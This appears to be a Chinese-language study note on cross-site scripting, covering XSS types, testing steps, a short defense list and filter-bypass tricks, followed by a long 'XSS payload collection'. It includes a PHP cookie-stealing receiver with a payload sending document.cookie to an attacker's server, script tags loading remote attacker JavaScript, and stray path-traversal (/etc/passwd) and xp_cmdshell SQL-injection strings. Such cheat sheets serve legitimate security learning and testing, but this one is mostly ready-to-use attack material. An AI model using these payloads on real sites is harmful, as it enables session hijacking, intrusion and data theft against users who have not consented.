XSS总结

https://blog.csdn.net/weixin_50464560/article/details/120384706
测试工具:xsstrike
xss-libs靶场练习
xssdom型就是构造前端执行代码

反射型post可以构造请求链接
get可以在服务器构造表单请求头,让用户访问我的服务器

存储型可以长久控制,获取用户密码

a标签中的herf属性可以执行js代码
js方法中可以闭合构造新的js代码

XSS漏洞的原理:

跨站脚本攻击,xss的本质是JavaScript代码执行,原理是攻击者可以控制输入参数构造恶意代码

xss分类:

  • 1、存储型 恶意JS代码直接存储在数据库中,每次调用数据都会执行

  • 2、反射型 一次性JS代码,恶意链接–》服务器–》客户端浏览器

  • 3、DOM型 前端页面构造恶意DOM代码,前端执行

    dom文档,在浏览器窗口显示HTML源码的文档对象模型
    

如何验证xss是否存在?

1、寻找用户可控参数输入点(与服务器端有数据交互)
2、测试特殊符号,单引号、双引号、尖括号等书否被过滤或者处理
12<script>34/>5' " <>67('8')9;
3、绕过过滤,构造恶意代码

xss可以产生什么危害?

1、盗取用户COOKIE
2、修改DOM,构造恶意代码
3、恶意跳转黑页,跳转广告
4、配合漏洞xss蠕虫攻击
5、社工钓鱼

xss怎么防御?

1、对输入进行过滤,并且对所有的输出值进行HTML编码
2、白名单过滤,输入限制(手机号长度,字符类型)
3、黑名单过滤(特殊字符过滤)
4、设置Cookie的HttpOnly为TRUE,通过js脚本将无法读取到cookie信息
5、CSP策略(内容安全策略),网站通过发送一个 CSP 头部,来告诉浏览器什么是被授权执行的
与什么是需要被禁止的我们能够规定,我们的网站只接受我们指定的请求资源
6、对输入的代码进行实体转化

如何绕过WAF?
测试有哪些过滤?对过滤的信息编码
隐式数据转换?一种编码方式

如何配合其他漏洞

1
2
3
4
5
6
<script type="text/javascript">   
function jumurl(){   
window.location.href = 'https://www.baidu.com';
  }   
setTimeout(jumurl,3000);
</script>
1
2
3
4
5
6
<?php    $cookie = $_GET['cookie']; 
file_put_contents("cookie.txt",$cookie);
echo '已成功获取cookie信息';?>

payload:<script>document.location="
http://xxx.xxx.xxx.xx/cookie.php?cookie="+document.cookie;</script>

Script标签:

1
2
3
4
5
6
<script>alert(/1/)</script>
<script>prompt(1)</script>
<script>confirm(1)</script>
<script src="http://attacker.org/malicious.js"></script>
<script src=data:text/javascript,alert(1)></script>
<script>setTimeout(alert(1),0)</script>

Img标签:

1
2
3
<img src=x onerror=alert(1)>
<img src=x onerror=prompt(1);>
<img src=javascript:alert('1')>

a标签:

1
2
<a href=”javascript:alert(1)”>点击触发</a>
<a href="http://www.hacker.com">点击触发</a>

Iframe标签:

1
2
<iframe src="javascript:alert(1)">
<iframe onload=alert(1)>

其他标签:

1
2
<video src=x onerror=prompt(1);>
<audio src=x onerror=prompt(1);>

常用事件:

1
2
3
4
5
6
onclick: 点击触发 (<img src=x onclick=alert(1)>)
onerror: 当 src 加载不出来时触发 (<img src=x onerror=alert(1)>)
onload: 当 src 加载完毕触发(<img src=x onload=alert(1)>)
onmouseover:鼠标指针移动到图片后触发(<img src=x onmouseover=alert(1)>)
onmousemove: 鼠标指针移到指定的元素后触发(<img src=x onmousemove=alert(1) >)
onfocus: 当 input 输入框获取焦点时触发(<input onfocus=javascript:alert(1) autofocus>)

常用属性:
src
action
href
data
content

javascript弹窗函数:
alert()
confirm()
prompt()

常用绕过方法
1.大小写绕过(<SCRIPT>)
2.双写绕过(<SCr<scRiPT>ipt>)
3.关键字HTML编码绕过
4.任意位置插入null字符(<im[%00]g onerror=alert(xss) src=a>)
5.JavaScript转义(<script>eval(‘a\154ert(1)’)</script>)

xss payload大全

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
'><script>alert(document.cookie)</script>
='><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert(vulnerable)</script>
%3Cscript%3Ealert('XSS')%3C/script%3E
<script>alert('XSS')</script>
<img src="javascript:alert('XSS')">
%0a%0a<script>alert(\"Vulnerable\")</script>.jsp
%22%3cscript%3ealert(%22xss%22)%3c/script%3e
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
%3f.jsp
%3f.jsp
<script>alert('Vulnerable');</script>
<script>alert('Vulnerable')</script>
?sql_debug=1
a%5c.aspx
a.jsp/<script>alert('Vulnerable')</script>
a/
a?<script>alert('Vulnerable')</script>
"><script>alert('Vulnerable')</script>
';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&&
%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
%3Cscript%3Ealert(document. domain);%3C/script%3E&
%3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
<IMG src="javascript:alert('XSS');">
<IMG src=javascript:alert('XSS')>
<IMG src=JaVaScRiPt:alert('XSS')>
<IMG src=JaVaScRiPt:alert("XSS")>
<IMG src=javascript:alert('XSS')>
<IMG src=javascript:alert('XSS')>
<IMG src=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
<IMG src="jav ascript:alert('XSS');">
<IMG src="jav ascript:alert('XSS');">
<IMG src="jav ascript:alert('XSS');">
"<IMG src=java\0script:alert(\"XSS\")>";' > out
<IMG src=" javascript:alert('XSS');">
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
<BODY BACKGROUND="javascript:alert('XSS')">
<BODY ONLOAD=alert('XSS')>
<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">
<BGSOUND src="javascript:alert('XSS');">
<br size="&{alert('XSS')}">
<LAYER src="http://xss.ha.ckers.org/a.js"></layer>
<LINK REL="stylesheet" href="javascript:alert('XSS');">
<IMG src='vbscript:msgbox("XSS")'>
<IMG src="mocha:[code]">
<IMG src="livescript:[code]">
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
<IFRAME src=javascript:alert('XSS')></IFRAME>
<FRAMESET><FRAME src=javascript:alert('XSS')></FRAME></FRAMESET>
<TABLE BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');">
<DIV STYLE="width: expression(alert('XSS'));">
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<IMG STYLE='xss:expre\ssion(alert("XSS"))'>
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE TYPE="text/css">.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A class="XSS"></A>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<BASE href="javascript:alert('XSS');//">
getURL("javascript:alert('XSS')")
a="get";b="URL";c="javascript:";d="alert('XSS');";eval(a+b+c+d);
<XML src="javascript:alert('XSS');">
"> <BODY ONLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><"
<SCRIPT src="http://xss.ha.ckers.org/xss.jpg"></SCRIPT>
<IMG src="javascript:alert('XSS')"
<!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></SCRIPT>'"-->
<IMG src="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
<SCRIPT a=">" src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT =">" src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT a=">" '' src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT "a='>'" src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT src="http://xss.ha.ckers.org/a.js"></SCRIPT>